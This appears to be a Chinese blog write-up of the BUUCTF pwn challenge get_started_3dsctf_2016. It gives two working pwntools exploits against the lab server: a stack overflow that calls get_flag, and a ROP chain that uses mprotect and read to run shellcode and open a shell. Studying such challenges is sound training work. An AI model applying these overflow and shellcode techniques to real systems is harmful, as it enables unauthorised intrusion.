buuctf|get_started_3dsctf_2016 1

方法一

我将文件下载后将其重命名为pwn_13,checksec一下
在这里插入图片描述
可以直接栈溢出,32位,进入ida
在这里插入图片描述
在这里插入图片描述
gets(v4)可以栈溢出,这里没找到后门函数,只发现了get_flag函数,进去看看
在这里插入图片描述

只要a1,a2满足值便可以输出flag,a1和a2是函数参数,我们可以进行传入,同时为了让get_flag正常结束,我们要使其返回函数为exit()
在这里插入图片描述
exp如下

from pwn import*
p=remote('node4.buuoj.cn',26832)
context.log_level='debug'
payload=b'a'*0x38+p32(0x80489A0)+p32(0x804E6A0)+p32(814536271)+p32(425138641)
p.sendline(payload)
p.recv()

这里context.log_level='debug’别删,不然看不到flag
在这里插入图片描述

方法二

ida中我们可以发现mprotext函数和read函数
mprotext函数用法如下

int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len  修改内存的长度
prot 内存的权限

简单来说,就是以addr为起始地址将长度为len的内存权限修改为’prot‘。当prot值为7时,代表可读可写可执行。
这时候有了思路,我们可以用mprotext()使一段内存可读可写可执行,然后用read()将构造的shellcode放入这段内存中。
由于mprotext有三个参数,我们pop要用到三个寄存器,ROPgadget一下
在这里插入图片描述
这里我用的0x080509a5作为mprotext的返回地址
ida中ctrl+s一下,找个有读写权限的传入mprotext()
在这里插入图片描述

我用的是0x80EB000
有了思路就可以写exp了

from pwn import*
p=remote('node4.buuoj.cn',26832)

mprotext_addr=0x806ec80
pop3_addr=0x80509a5
buf=0x80EB000
read_addr=0x806E140
payload=b'a'*0x38+p32(mprotext_addr)+p32(pop3_addr)+p32(buf)+p32(0x1000)+p32(0x7)+p32(read_addr)+p32(buf)+p32(0)+p32(buf)+p32(0x200)
p.sendline(payload)
shellcode=asm(shellcraft.sh(),arch='i386',os='linux')
p.sendline(shellcode)

p.interactive()

在这里插入图片描述

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值